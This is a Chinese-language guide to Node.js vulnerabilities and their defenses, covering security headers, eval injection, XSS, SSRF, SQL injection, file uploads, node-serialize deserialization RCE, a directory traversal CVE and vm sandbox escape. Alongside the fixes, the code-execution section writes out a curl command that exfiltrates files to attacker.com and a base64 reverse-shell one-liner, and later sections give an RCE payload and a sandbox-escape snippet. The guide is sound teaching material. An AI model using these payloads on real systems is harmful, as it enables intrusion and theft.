Node.js Vuln's Analyse
字数 1156 2025-08-18 11:35:42
Node.js 安全漏洞分析与防护指南
前言
本文总结了Node.js应用中常见的安全漏洞类型及其防护措施,包括HTTP头安全设置、代码执行、XSS、SSRF、SQL注入、文件上传漏洞,以及npm模块相关安全问题。
1. 设置安全的HTTP头
关键HTTP头
Strict-Transport-Security: 强制使用HTTPS安全连接X-Frame-Options: 防止点击劫持X-XSS-Protection: 开启浏览器XSS过滤X-Content-Type-Options: 防止MIME类型混淆Content-Security-Policy: 防止XSS和其他注入攻击
实现方式
使用helmet模块可一键配置所有安全HTTP头:
var express = require('express');
var helmet = require('helmet');
var app = express();
app.use(helmet());
2. 代码执行漏洞
危险函数
eval()setInterval()setTimeout()new Function()
漏洞示例
app.get('/eval', function(req, res){
res.send(eval(req.query.code)); // 直接执行用户输入
});
攻击方式
- 执行系统命令:
code=require('child_process').exec('open /Applications/WeChat.app');
- 读取任意文件(通过数据外带):
code=require('child_process').exec('curl -d "content=`cat /path/to/file`" http://attacker.com/test.php');
- 反弹shell:
code=require('child_process').exec('YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwJmd0OyYx'|base64 -d|bash');
替代方案
当没有require时,可使用:
global.process.mainModule.constructor._load('child_process').exec('')
3. XSS漏洞
漏洞原因
Node.js缺乏内置的XSS防护机制,直接输出用户输入会导致XSS。
漏洞示例
app.get('/xss', function(req, res){
res.end(req.query.content); // 未过滤直接输出
});
防护措施
- 设置
X-XSS-Protection头 - 对所有输出进行HTML实体编码
- 使用模板引擎的自动转义功能
4. SSRF漏洞
漏洞示例
app.get('/ssrf', function(req, res){
var url = req.query['url'];
needle.get(url); // 直接请求用户提供的URL
res.end('new request:'+url);
});
防护措施
- 验证用户提供的URL
- 限制访问内网IP
- 使用白名单机制
5. SQL注入
漏洞示例
app.get('/sqli', function(req, res){
var id = req.query.id;
var sql = "select * from user where id="+id; // 直接拼接SQL
connection.query(sql,function(error, result){
// ...
});
});
防护措施
- 使用参数化查询
- 使用ORM框架
- 最小权限原则设置数据库用户
6. 文件上传漏洞
漏洞示例
app.post('/upload', function(req, res) {
var des_file = __dirname + "/" + req.files[0].originalname;
fs.writeFile(des_file, data, function(err) {
// 未验证文件类型和内容
});
});
防护措施
- 验证文件类型和内容
- 随机化文件名
- 设置文件上传目录不可执行
7. npm模块安全问题
7.1 node-serialize反序列化RCE漏洞(CVE-2017-5941)
漏洞原理
利用IIFE(立即调用函数表达式)在反序列化时执行任意代码。
POC生成
serialize = require('node-serialize');
var test = {
rce: function(){
require('child_process').exec('whoami');
},
};
console.log(serialize.serialize(test));
恶意payload
{"rce":"_
$$
ND_FUNC
$$
_function(){require('child_process').exec('whoami');}()"}
7.2 Node.js目录穿越漏洞(CVE-2017-14849)
影响版本
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
漏洞原理
normalize()函数规范化路径时未正确处理目录跳转字符(如../)。
7.3 vm沙盒逃逸
漏洞示例
const vm = require('vm');
const context = { x:2 };
const script = new vm.Script(`
this.constructor.constructor('return process')().mainModule.require('child_process').execSync('whoami').toString()
`);
vm.createContext(context);
script.runInContext(context);
逃逸原理
通过原型链(this.__proto__)访问主环境的Object.prototype和process对象。